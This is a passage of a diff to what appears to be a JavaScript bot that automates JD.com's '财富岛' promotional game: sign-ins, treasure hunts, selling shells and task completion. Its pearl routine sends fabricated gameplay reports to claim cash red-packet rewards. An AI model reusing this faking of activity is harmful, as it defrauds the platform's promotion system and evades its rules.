(vo.Collector) { - console.log(`喜欢贝壳的收藏家来了,快去卖贝壳吧~`) - await collectorOper(vo.strStoryId, '2', vo.ddwTriggerDay) - await $.wait(2000) - await querystorageroom('2') - await $.wait(2000) - await collectorOper(vo.strStoryId, '4', vo.ddwTriggerDay) + }*/ + await showMsg(); + })() + .catch((e) => $.logErr(e)) + .finally(() => $.done()); + + async function cfd() { + try { + let beginInfo = await getUserInfo(); + if (beginInfo.LeadInfo.dwLeadType === 2) { + console.log(`还未开通活动,尝试初始化`) + await noviceTask() + await $.wait(3000) + beginInfo = await getUserInfo(false); + if (beginInfo.LeadInfo.dwLeadType !== 2) { + console.log(`初始化成功\n`) } else { - console.log(`当前暂无收藏家\n`) + console.log(`初始化失败\n`) + return } } - } else { - console.log(`当前暂无收藏家\n`) - } - - //美人鱼 - console.log(`美人鱼`) - if ($.info.StoryInfo.StoryList) { - await $.wait(2000) - for (let key of Object.keys($.info.StoryInfo.StoryList)) { - let vo = $.info.StoryInfo.StoryList[key] - if (vo.Mermaid) { - if (vo.Mermaid.dwIsToday === 1) { - console.log(`可怜的美人鱼困在沙滩上了,快去解救她吧~`) - await mermaidOper(vo.strStoryId, '1', vo.ddwTriggerDay) - } else if (vo.Mermaid.dwIsToday === 0) { - await mermaidOper(vo.strStoryId, '4', vo.ddwTriggerDay) + await getPropTask(); + // 寻宝 + console.log(`寻宝`) + let XBDetail = beginInfo.XbStatus.XBDetail.filter((x) => x.dwRemainCnt !== 0) + if (XBDetail.length !== 0) { + console.log(`开始寻宝`) + $.break = false + for (let key of Object.keys(XBDetail)) { + let vo = XBDetail[key] + await $.wait(4000) + await TreasureHunt(vo.strIndex) + if ($.break) break + } + } else { + console.log(`暂无宝物`) + } + + //每日签到 + await $.wait(3000) + await getTakeAggrPage('sign') + + //小程序每日签到 + await $.wait(3000) + await getTakeAggrPage('wxsign') + + if (new Date().getHours() < 22){ + //使用道具 + await $.wait(3000) + await GetPropCardCenterInfo() + } + + //助力奖励 + await $.wait(3000) + await getTakeAggrPage('helpdraw') + + console.log('') + //卖贝壳 + // await $.wait(3000) + // await querystorageroom('1') + + //升级建筑 + await $.wait(3000) + for(let key of Object.keys($.info.buildInfo.buildList)) { + let vo = $.info.buildInfo.buildList[key] + let body = `strBuildIndex=${vo.strBuildIndex}&dwType=1` + await getBuildInfo(body, vo) + await $.wait(3000) + } + + //接待贵宾 + console.log(`接待贵宾`) + if ($.info.StoryInfo.StoryList) { + await $.wait(3000) + for (let key of Object.keys($.info.StoryInfo.StoryList)) { + let vo = $.info.StoryInfo.StoryList[key] + if (vo.Special) { + console.log(`请贵宾下船,需等待${vo.Special.dwWaitTime}秒`) + await specialUserOper(vo.strStoryId, '2', vo.ddwTriggerDay, vo) + await $.wait(vo.Special.dwWaitTime * 1000) + await specialUserOper(vo.strStoryId, '3', vo.ddwTriggerDay, vo) + await $.wait(3000) + } else { + console.log(`当前暂无贵宾\n`) + } + } + } else { + console.log(`当前暂无贵宾\n`) + } + + //收藏家 + console.log(`收藏家`) + if ($.info.StoryInfo.StoryList) { + await $.wait(3000) + for (let key of Object.keys($.info.StoryInfo.StoryList)) { + let vo = $.info.StoryInfo.StoryList[key] + if (vo.Collector) { + console.log(`喜欢贝壳的收藏家来了,快去卖贝壳吧~`) + await collectorOper(vo.strStoryId, '2', vo.ddwTriggerDay) + await $.wait(3000) + await querystorageroom('2') + await $.wait(3000) + await collectorOper(vo.strStoryId, '4', vo.ddwTriggerDay) + } else { + console.log(`当前暂无收藏家\n`) } - } else { - console.log(`当前暂无美人鱼\n`) } + } else { + console.log(`当前暂无收藏家\n`) } - } else { - console.log(`当前暂无美人鱼\n`) + + //美人鱼 + console.log(`美人鱼`) + if ($.info.StoryInfo.StoryList) { + await $.wait(3000) + for (let key of Object.keys($.info.StoryInfo.StoryList)) { + let vo = $.info.StoryInfo.StoryList[key] + if (vo.Mermaid) { + if (vo.Mermaid.dwIsToday === 1) { + console.log(`可怜的美人鱼困在沙滩上了,快去解救她吧~`) + await mermaidOper(vo.strStoryId, '1', vo.ddwTriggerDay) + } else if (vo.Mermaid.dwIsToday === 0) { + await mermaidOper(vo.strStoryId, '4', vo.ddwTriggerDay) + } + } else { + console.log(`当前暂无美人鱼\n`) + } + } + } else { + console.log(`当前暂无美人鱼\n`) + } + + //倒垃圾 + await $.wait(3000); + await queryRubbishInfo(); + //合成珍珍 + await $.wait(3000); + if (!$.pearlEnd) await Pearl() + await $.wait(3000); + await pickshell(1); + console.log(`\n做任务`) + //牛牛任务 + await $.wait(3000) + await getActTask() + + //日常任务 + await $.wait(3000); + await getTaskList(0); + await $.wait(3000); + await browserTask(0); + + //成就任务 + await $.wait(3000); + await getTaskList(1); + await $.wait(3000); + await browserTask(1); + + //卡片任务 + await $.wait(3000); + await getPropTask(); + + await $.wait(3000); + const endInfo = await getUserInfo(false); + $.result.push( + `【京东账号${$.index}】${$.nickName || $.UserName}`, + `【🥇金币】${endInfo.ddwCoinBalance}`, + `【💵财富值】${endInfo.ddwRichBalance}\n`, + ); + + } catch (e) { + $.logErr(e) } - - //倒垃圾 - await $.wait(2000) - await queryRubbishInfo() - - console.log(`\n做任务`) - //牛牛任务 - await $.wait(2000) - await getActTask() - - //日常任务 - await $.wait(2000); - await getTaskList(0); - await $.wait(2000); - await browserTask(0); - - //成就任务 - await $.wait(2000); - await getTaskList(1); - await $.wait(2000); - await browserTask(1); - - //卡片任务 - await $.wait(2000); - await getPropTask(); - - await $.wait(2000); - const endInfo = await getUserInfo(false); - $.result.push( - `【京东账号${$.index}】${$.nickName || $.UserName}`, - `【🥇金币】${endInfo.ddwCoinBalance}`, - `【💵财富值】${endInfo.ddwRichBalance}\n`, - ); - - } catch (e) { - $.logErr(e) } -} - -// 使用道具 -function GetPropCardCenterInfo() { - return new Promise((resolve) => { - $.get(taskUrl(`user/GetPropCardCenterInfo`), async (err, resp, data) => { - try { - if (err) { - console.log(JSON.stringify(err)) - console.log(`${$.name} GetPropCardCenterInfo API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data.replace(/\n/g, "").match(new RegExp(/jsonpCBK.?\((.*);*\)/))[1]); - if (data.iRet === 0) { - console.log(`使用道具卡`) - if (data.cardInfo.dwWorkingType === 0) { - $.canuse = false; - for (let key of Object.keys(data.cardInfo.coincard)) { - let vo = data.cardInfo.coincard[key] - if (vo.dwCardNums > 0) { - $.canuse = true; - await UsePropCard(vo.strCardTypeIndex) - break; + + // 使用道具 + function GetPropCardCenterInfo() { + return new Promise((resolve) => { + $.get(taskUrl(`user/GetPropCardCenterInfo`), async (err, resp, data) => { + try { + if (err) { + console.log(JSON.stringify(err)) + console.log(`${$.name} GetPropCardCenterInfo API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data.replace(/\n/g, "").match(new RegExp(/jsonpCBK.?\((.*);*\)/))[1]); + if (data.iRet === 0) { + console.log(`使用道具卡`) + if (data.cardInfo.dwWorkingType === 0) { + $.canuse = false; + for (let key of Object.keys(data.cardInfo.coincard)) { + let vo = data.cardInfo.coincard[key] + if (vo.dwCardNums > 0) { + $.canuse = true; + await UsePropCard(vo.strCardTypeIndex) + break; + } } - } - for (let key of Object.keys(data.cardInfo.richcard)) { - let vo = data.cardInfo.richcard[key] - if (vo.dwCardNums > 0) { - $.canuse = true; - await UsePropCard(vo.strCardTypeIndex) - break; + for (let key of Object.keys(data.cardInfo.richcard)) { + let vo = data.cardInfo.richcard[key] + if (vo.dwCardNums > 0) { + $.canuse = true; + await UsePropCard(vo.strCardTypeIndex) + break; + } } + if (!$.canuse) console.log(`无可用道具卡`) + } else { + console.log(`有在使用中的道具卡,跳过使用`) } - if (!$.canuse) console.log(`无可用道具卡`) - } else { - console.log(`有在使用中的道具卡,跳过使用`) } } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(); - } + }) }) - }) -} -function UsePropCard(strCardTypeIndex) { - return new Promise((resolve) => { - let dwCardType = strCardTypeIndex.split("_")[0]; - $.get(taskUrl(`user/UsePropCard`, `dwCardType=${dwCardType}&strCardTypeIndex=${encodeURIComponent(strCardTypeIndex)}`), (err, resp, data) => { - try { - if (err) { - console.log(JSON.stringify(err)) - console.log(`${$.name} UsePropCard API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data.replace(/\n/g, "").match(new RegExp(/jsonpCBK.?\((.*);*\)/))[1]); - if (data.iRet === 0) { - let cardName = strCardTypeIndex.split("_")[1]; - console.log(`使用道具卡【${cardName}】成功`) + } + function UsePropCard(strCardTypeIndex) { + return new Promise((resolve) => { + let dwCardType = strCardTypeIndex.split("_")[0]; + $.get(taskUrl(`user/UsePropCard`, `dwCardType=${dwCardType}&strCardTypeIndex=${encodeURIComponent(strCardTypeIndex)}`), (err, resp, data) => { + try { + if (err) { + console.log(JSON.stringify(err)) + console.log(`${$.name} UsePropCard API请求失败,请检查网路重试`) } else { - console.log(`使用道具卡失败:${JSON.stringify(data)}`) + data = JSON.parse(data.replace(/\n/g, "").match(new RegExp(/jsonpCBK.?\((.*);*\)/))[1]); + if (data.iRet === 0) { + let cardName = strCardTypeIndex.split("_")[1]; + console.log(`使用道具卡【${cardName}】成功`) + } else { + console.log(`使用道具卡失败:${JSON.stringify(data)}`) + } } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(); - } + }) }) - }) -} - -// 寻宝 -function TreasureHunt(strIndex) { - return new Promise((resolve) => { - $.get(taskUrl(`user/TreasureHunt`, `strIndex=${strIndex}`), (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} TreasureHunt API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data.replace(/\n/g, "").match(new RegExp(/jsonpCBK.?\((.*);*\)/))[1]); - if (data.iRet === 0) { - if (data.AwardInfo.dwAwardType === 0) { - console.log(`${data.strAwardDesc},获得 ${data.AwardInfo.ddwValue} 金币`) - } else if (data.AwardInfo.dwAwardType === 1) { - console.log(`${data.strAwardDesc},获得 ${data.AwardInfo.ddwValue} 财富`) - console.log(JSON.stringify(data)) - } else if (data.AwardInfo.dwAwardType === 4) { - console.log(`${data.strAwardDesc},获得 ${data.AwardInfo.strPrizePrice} 红包`) + } + + // 寻宝 + function TreasureHunt(strIndex) { + return new Promise((resolve) => { + $.get(taskUrl(`user/TreasureHunt`, `strIndex=${strIndex}`), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} TreasureHunt API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data.replace(/\n/g, "").match(new RegExp(/jsonpCBK.?\((.*);*\)/))[1]); + if (data.iRet === 0) { + if (data.AwardInfo.dwAwardType === 0) { + console.log(`${data.strAwardDesc},获得 ${data.AwardInfo.ddwValue} 金币`) + } else if (data.AwardInfo.dwAwardType === 1) { + console.log(`${data.strAwardDesc},获得 ${data.AwardInfo.ddwValue} 财富`) + console.log(JSON.stringify(data)) + } else if (data.AwardInfo.dwAwardType === 4) { + console.log(`${data.strAwardDesc},获得 ${data.AwardInfo.strPrizePrice} 红包`) + } else { + console.log(JSON.stringify(data)) + } } else { - console.log(JSON.stringify(data)) + console.log(`寻宝失败:${data.sErrMsg}`) + $.break = true } - } else { - console.log(`寻宝失败:${data.sErrMsg}`) - $.break = true } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(); - } + }) }) - }) -} - -// 接待贵宾 -function specialUserOper(strStoryId, dwType, ddwTriggerDay, StoryList) { - return new Promise((resolve) => { - $.get(taskUrl(`story/SpecialUserOper`, `strStoryId=${strStoryId}&dwType=${dwType}&triggerType=0&ddwTriggerDay=${ddwTriggerDay}`), (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} SpecialUserOper API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data.replace(/\n/g, "").match(new RegExp(/jsonpCBK.?\((.*);*\)/))[1]); - if (dwType === '2') { - if (data.iRet === 0 || data.sErrMsg === "success") { - console.log(`贵宾'${StoryList.Special.strName}'下船成功`) - } else { - console.log(`贵宾'${StoryList.Special.strName}'下船失败 ${data.sErrMsg}\n`) - } - } else if (dwType === '3') { - if (data.iRet === 0 || data.sErrMsg === "success") { - console.log(`贵宾'${StoryList.Special.strName}'用餐成功:获得${StoryList.Special.ddwCoin}金币\n`) - } else { - console.log(`贵宾'${StoryList.Special.strName}'用餐失败:${data.sErrMsg}\n`) + } + + // 接待贵宾 + function specialUserOper(strStoryId, dwType, ddwTriggerDay, StoryList) { + return new Promise((resolve) => { + $.get(taskUrl(`story/SpecialUserOper`, `strStoryId=${strStoryId}&dwType=${dwType}&triggerType=0&ddwTriggerDay=${ddwTriggerDay}`), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} SpecialUserOper API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data.replace(/\n/g, "").match(new RegExp(/jsonpCBK.?\((.*);*\)/))[1]); + if (dwType === '2') { + if (data.iRet === 0 || data.sErrMsg === "success") { + console.log(`贵宾'${StoryList.Special.strName}'下船成功`) + } else { + console.log(`贵宾'${StoryList.Special.strName}'下船失败 ${data.sErrMsg}\n`) + } + } else if (dwType === '3') { + if (data.iRet === 0 || data.sErrMsg === "success") { + console.log(`贵宾'${StoryList.Special.strName}'用餐成功:获得${StoryList.Special.ddwCoin}金币\n`) + } else { + console.log(`贵宾'${StoryList.Special.strName}'用餐失败:${data.sErrMsg}\n`) + } } } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(); - } + }) }) - }) -} - -// 收藏家 -function collectorOper(strStoryId, dwType, ddwTriggerDay) { - return new Promise((resolve) => { - $.get(taskUrl(`story/CollectorOper`, `strStoryId=${strStoryId}&dwType=${dwType}&ddwTriggerDay=${ddwTriggerDay}`), (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} CollectorOper API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data.replace(/\n/g, "").match(new RegExp(/jsonpCBK.?\((.*);*\)/))[1]); + } + + // 收藏家 + function collectorOper(strStoryId, dwType, ddwTriggerDay) { + return new Promise((resolve) => { + $.get(taskUrl(`story/CollectorOper`, `strStoryId=${strStoryId}&dwType=${dwType}&ddwTriggerDay=${ddwTriggerDay}`), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} CollectorOper API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data.replace(/\n/g, "").match(new RegExp(/jsonpCBK.?\((.*);*\)/))[1]); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(data); - } + }) }) - }) -} - -// 美人鱼 -async function mermaidOper(strStoryId, dwType, ddwTriggerDay) { - return new Promise(async (resolve) => { - $.get(taskUrl(`story/MermaidOper`, `strStoryId=${strStoryId}&dwType=${dwType}&ddwTriggerDay=${ddwTriggerDay}`), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} MermaidOper API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data.replace(/\n/g, "").match(new RegExp(/jsonpCBK.?\((.*);*\)/))[1]); - switch (dwType) { - case '1': - if (data.iRet === 0 || data.sErrMsg === 'success') { - console.log(`开始解救美人鱼`) - dwType = '3' - await mermaidOper(strStoryId, dwType, ddwTriggerDay) - await $.wait(2000) - } else { - console.log(`开始解救美人鱼失败:${data.sErrMsg}\n`) + } + + // 美人鱼 + async function mermaidOper(strStoryId, dwType, ddwTriggerDay) { + return new Promise(async (resolve) => { + $.get(taskUrl(`story/MermaidOper`, `strStoryId=${strStoryId}&dwType=${dwType}&ddwTriggerDay=${ddwTriggerDay}`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} MermaidOper API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data.replace(/\n/g, "").match(new RegExp(/jsonpCBK.?\((.*);*\)/))[1]); + switch (dwType) { + case '1': + if (data.iRet === 0 || data.sErrMsg === 'success') { + console.log(`开始解救美人鱼`) + dwType = '3' + await mermaidOper(strStoryId, dwType, ddwTriggerDay) + await $.wait(3000) + } else { + console.log(`开始解救美人鱼失败:${data.sErrMsg}\n`) + } + break + case '2': + break + case '3': + if (data.iRet === 0 || data.sErrMsg === 'success') { + dwType = '2' + let mermaidOperRes = await mermaidOper(strStoryId, dwType, ddwTriggerDay) + console.log(`解救美人鱼成功:获得${mermaidOperRes.Data.ddwCoin || '0'}金币\n`) + } else { + console.log(`解救美人鱼失败:${data.sErrMsg}\n`) + } + break + case '4': + if (data.iRet === 0 || data.sErrMsg === 'success') { + console.log(`昨日解救美人鱼领奖成功:获得${data.Data.Prize.strPrizeName}\n`) + } else { + console.log(`昨日解救美人鱼领奖失败:${data.sErrMsg}\n`) + } + break + default: + break + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) + } + + // 卖贝壳 + async function querystorageroom(dwSceneId) { + return new Promise(async (resolve) => { + $.get(taskUrl(`story/querystorageroom`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} querystorageroom API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data.replace(/\n/g, "").match(new RegExp(/jsonpCBK.?\((.*);*\)/))[1]); + console.log(`\n卖贝壳`) + let bags = [] + for (let key of Object.keys(data.Data.Office)) { + let vo = data.Data.Office[key] + bags.push(vo.dwType) + bags.push(vo.dwCount) + } + if (bags.length !== 0) { + let strTypeCnt = '' + for (let j = 0; j < bags.length; j++) { + if (j % 2 === 0) { + strTypeCnt += `${bags[j]}:` + } else { + strTypeCnt += `${bags[j]}|` + } } - break - case '2': - break - case '3': - if (data.iRet === 0 || data.sErrMsg === 'success') { - dwType = '2' - let mermaidOperRes = await mermaidOper(strStoryId, dwType, ddwTriggerDay) - console.log(`解救美人鱼成功:获得${mermaidOperRes.Data.ddwCoin || '0'}金币\n`) - } else { - console.log(`解救美人鱼失败:${data.sErrMsg}\n`) + await $.wait(3000) + await sellgoods(`strTypeCnt=${strTypeCnt}&dwSceneId=${dwSceneId}`) + } else { + console.log(`背包是空的,快去捡贝壳吧\n`) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) + } + //捡贝壳 + async function pickshell(num = 1){ + return new Promise(async (resolve) => { + try{ + console.log(`\n捡贝壳`) + // pickshell dwType 1珍珠 2海螺 3大海螺 4海星 5小贝壳 6扇贝 + for(i=1;num--;i++){ + await $.wait(2000) + $.queryshell = await taskGet(`story/queryshell`, '_cfd_t,bizCode,dwEnv,ptag,source,strZone', `&ptag=`) + let c = 6 + for(i=1;c--;i++){ + let o = 1 + let name = '珍珠' + if(i == 2) name = '海螺' + if(i == 3) name = '大海螺' + if(i == 4) name = '海星' + if(i == 5) name = '小贝壳' + if(i == 6) name = '扇贝' + do{ + console.log(`去捡${name}第${o}次`) + o++; + let res = await taskGet(`story/pickshell`, '_cfd_t,bizCode,dwEnv,dwType,ptag,source,strZone', `&ptag=&dwType=${i}`) + await $.wait(200) + if(!res || res.iRet != 0){ + break } - break - case '4': - if (data.iRet === 0 || data.sErrMsg === 'success') { - console.log(`昨日解救美人鱼领奖成功:获得${data.Data.Prize.strPrizeName}\n`) - } else { - console.log(`昨日解救美人鱼领奖失败:${data.sErrMsg}\n`) - } - break - default: - break + }while (o < 20) } } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(data); + }catch (e) { + $.logErr(e); + } + finally { + resolve(); } }) - }) -} - -// 卖贝壳 -async function querystorageroom(dwSceneId) { - return new Promise(async (resolve) => { - $.get(taskUrl(`story/querystorageroom`), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} querystorageroom API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data.replace(/\n/g, "").match(new RegExp(/jsonpCBK.?\((.*);*\)/))[1]); - console.log(`\n卖贝壳`) - let bags = [] - for (let key of Object.keys(data.Data.Office)) { - let vo = data.Data.Office[key] - bags.push(vo.dwType) - bags.push(vo.dwCount) + } + //合成珍珠 + async function Pearl(){ + try{ + await $.wait(2000) + $.ComposeGameState = await taskGet(`user/ComposePearlState`, '', '&dwGetType=0') + if (!$.ComposeGameState) return + if ($.ComposeGameState.iRet == "2240" || $.ComposeGameState.sErrMsg.indexOf("暂未开放") > -1) { + console.log("\n撸珍珠活动未开放") + $.pearlEnd = true + return + } + $.log('合珍珠') + console.log(`\n当前有${$.ComposeGameState.dwCurProgress}个珍珠${$.ComposeGameState.ddwVirHb && ' '+$.ComposeGameState.ddwVirHb/100+"红包" || ''}`) + if($.ComposeGameState.dayDrawInfo.dwIsDraw == 0){ + let res = '' + res = await taskGet(`user/GetPearlDailyReward`, '__t,strZone', ``) + if(res && res.iRet == 0 && res.strToken){ + res = await taskGet(`user/PearlDailyDraw`, '__t,ddwSeaonStart,strToken,strZone', `&ddwSeaonStart=${$.ComposeGameState.ddwSeasonStartTm}&strToken=${res.strToken}`) + if(res && res.iRet == 0){ + if(res.strPrizeName){ + console.log(`抽奖获得:${res.strPrizeName || $.toObj(res,res)}`) + }else{ + console.log(`抽奖获得:${$.toObj(res,res)}`) + } + }else{ + console.log("抽奖失败\n"+$.toObj(res,res)) } - if (bags.length !== 0) { - let strTypeCnt = '' - for (let j = 0; j < bags.length; j++) { - if (j % 2 === 0) { - strTypeCnt += `${bags[j]}:` - } else { - strTypeCnt += `${bags[j]}|` + }else{ + console.log($.toObj(res,res)) + } + } + if (($.ComposeGameState.dwCurProgress < 8 || true) && $.ComposeGameState.strDT) { + let b = 1 + console.log(`开始合珍珠${b}次 `) + // b = 8-$.ComposeGameState.dwCurProgress + for(i=1;b--;i++){ + let n = Math.ceil(Math.random()*12+12) + //console.log(`上报次数${n}`) + for(m=1;n--;m++){ + //console.log(`上报第${m}次`) + await $.wait(5000) + await taskGet(`user/RealTmReport`, '', `&dwIdentityType=0&strBussKey=composegame&strMyShareId=${$.ComposeGameState.strMyShareId}&ddwCount=10`) + let s = Math.floor((Math.random()*3)) + let n = 0 + if(s == 1) n = 1 + if(n === 1){ + let res = await taskGet(`user/ComposePearlAward`, '__t,size,strBT,strZone,type', `__t=${Date.now()}&type=4&size=1&strBT=${$.ComposeGameState.strDT}`) + if(res && res.iRet == 0){ + console.log(`上报得红包:${res.ddwAwardHb && '获得'+res.ddwAwardHb/100+"红包" || ''}${res.ddwVirHb && ' 当前有'+res.ddwVirHb/100+"红包" || ''}`) + }else{ + console.log($.toObj(res,res)) } } - await $.wait(2000) - await sellgoods(`strTypeCnt=${strTypeCnt}&dwSceneId=${dwSceneId}`) - } else { - console.log(`背包是空的,快去捡贝壳吧\n`) } + //console.log("合成珍珠") + let strLT = ($.ComposeGameState.oPT || [])[$.ComposeGameState.ddwCurTime % ($.ComposeGameState.oPT || []).length] + let res = await taskGet(`user/ComposePearlAddProcess`, '__t,strBT,strLT,strZone', `&strBT=${$.ComposeGameState.strDT}&strLT=${strLT}`) + if(res && res.iRet == 0){ + console.log(`合成成功:${res.ddwAwardHb && '获得'+res.ddwAwardHb/100+"红包 " || ''}当前有${res.dwCurProgress}个珍珠${res.ddwVirHb && ' '+res.ddwVirHb/100+"红包" || ''}`) + }else{ + console.log(JSON.stringify(res)) + } + $.ComposeGameState = await taskGet(`user/ComposePearlState`, '', '&dwGetType=0') } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(); } - }) - }) -} -function sellgoods(body) { - return new Promise((resolve) => { - $.get(taskUrl(`story/sellgoods`, body), (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} sellgoods API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data.replace(/\n/g, "").match(new RegExp(/jsonpCBK.?\((.*);*\)/))[1]); - if (data.iRet === 0) { - console.log(`贝壳出售成功:获得${data.Data.ddwCoin}金币 ${data.Data.ddwMoney}财富\n`) + for (let i of $.ComposeGameState.stagelist || []) { + if (i.dwIsAward == 0 && $.ComposeGameState.dwCurProgress >= i.dwCurStageEndCnt) { + await $.wait(2000) + let res = await taskGet(`user/ComposeGameAward`, '__t,dwCurStageEndCnt,strZone', `&dwCurStageEndCnt=${i.dwCurStageEndCnt}`) + await printRes(res,'珍珠领奖') + } + } + }catch (e) { + $.logErr(e); + } + } + function sellgoods(body) { + return new Promise((resolve) => { + $.get(taskUrl(`story/sellgoods`, body), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} sellgoods API请求失败,请检查网路重试`) } else { - console.log(`贝壳出售失败:${data.sErrMsg}\n`) + data = JSON.parse(data.replace(/\n/g, "").match(new RegExp(/jsonpCBK.?\((.*);*\)/))[1]); + if (data.iRet === 0) { + console.log(`贝壳出售成功:获得${data.Data.ddwCoin}金币 ${data.Data.ddwMoney}财富\n`) + } else { + console.log(`贝壳出售失败:${data.sErrMsg}\n`) + } } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(); - } + }) }) - }) -} - -// 每日签到 -async function getTakeAggrPage(type) { - return new Promise(async (resolve) => { - switch (type) { - case 'sign': - $.get(taskUrl(`story/GetTakeAggrPage`), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} GetTakeAggrPage API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data.replace(/\n/g, "").match(new RegExp(/jsonpCBK.?\((.*);*\)/))[1]); - console.log(`\n每日签到`) - for (let key of Object.keys(data.Data.Sign.SignList)) { - let vo = data.Data.Sign.SignList[key] - if (vo.dwDayId === data.Data.Sign.dwTodayId) { - if (vo.dwStatus !== 1) { - const body = `ddwCoin=${vo.ddwCoin}&ddwMoney=${vo.ddwMoney}&dwPrizeType=${vo.dwPrizeType}&strPrizePool=${vo.strPrizePool}&dwPrizeLv=${vo.dwBingoLevel}&strPgUUNum=${token['farm_jstoken']}&strPgtimestamp=${token['timestamp']}&strPhoneID=${token['phoneid']}` - await rewardSign(body) - await $.wait(2000) - } else { - console.log(`今日已签到\n`) - break + } + + // 每日签到 + async function getTakeAggrPage(type) { + return new Promise(async (resolve) => { + switch (type) { + case 'sign': + $.get(taskUrl(`story/GetTakeAggrPage`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} GetTakeAggrPage API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data.replace(/\n/g, "").match(new RegExp(/jsonpCBK.?\((.*);*\)/))[1]); + console.log(`\n每日签到`) + for (let key of Object.keys(data.Data.Sign.SignList)) { + let vo = data.Data.Sign.SignList[key] + if (vo.dwDayId === data.Data.Sign.dwTodayId) { + if (vo.dwStatus !== 1) { + const body = `ddwCoin=${vo.ddwCoin}&ddwMoney=${vo.ddwMoney}&dwPrizeType=${vo.dwPrizeType}&strPrizePool=${vo.strPrizePool}&dwPrizeLv=${vo.dwBingoLevel}&strPgUUNum=${token['farm_jstoken']}&strPgtimestamp=${token['timestamp']}&strPhoneID=${token['phoneid']}` + await rewardSign(body) + await $.wait(3000) + } else { + console.log(`今日已签到\n`) + break + } } } } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(); - } - }) - break - case 'wxsign': - $.get(taskUrl(`story/GetTakeAggrPage`, '', 6), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} GetTakeAggrPage API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data.replace(/\n/g, "").match(new RegExp(/jsonpCBK.?\((.*);*\)/))[1]); - console.log(`小程序每日签到`) - for (let key of Object.keys(data.Data.Sign.SignList)) { - let vo = data.Data.Sign.SignList[key] - if (vo.dwDayId === data.Data.Sign.dwTodayId) { - if (vo.dwStatus !== 1) { - const body = `ddwCoin=${vo.ddwCoin}&ddwMoney=${vo.ddwMoney}&dwPrizeType=${vo.dwPrizeType}&strPrizePool=${vo.strPrizePool}&dwPrizeLv=${vo.dwBingoLevel}&strPgUUNum=${token['farm_jstoken']}&strPgtimestamp=${token['timestamp']}&strPhoneID=${token['phoneid']}` - await rewardSign(body, 6) - await $.wait(2000) - } else { - console.log(`今日已签到\n`) - break + }) + break + case 'wxsign': + $.get(taskUrl(`story/GetTakeAggrPage`, '', 6), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} GetTakeAggrPage API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data.replace(/\n/g, "").match(new RegExp(/jsonpCBK.?\((.*);*\)/))[1]); + console.log(`小程序每日签到`) + for (let key of Object.keys(data.Data.Sign.SignList)) { + let vo = data.Data.Sign.SignList[key] + if (vo.dwDayId === data.Data.Sign.dwTodayId) { + if (vo.dwStatus !== 1) { + const body = `ddwCoin=${vo.ddwCoin}&ddwMoney=${vo.ddwMoney}&dwPrizeType=${vo.dwPrizeType}&strPrizePool=${vo.strPrizePool}&dwPrizeLv=${vo.dwBingoLevel}&strPgUUNum=${token['farm_jstoken']}&strPgtimestamp=${token['timestamp']}&strPhoneID=${token['phoneid']}` + await rewardSign(body, 6) + await $.wait(3000) + } else { + console.log(`今日已签到\n`) + break + } } } } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); } - } catch (e) { - $.logErr(e, resp); - } finally { - 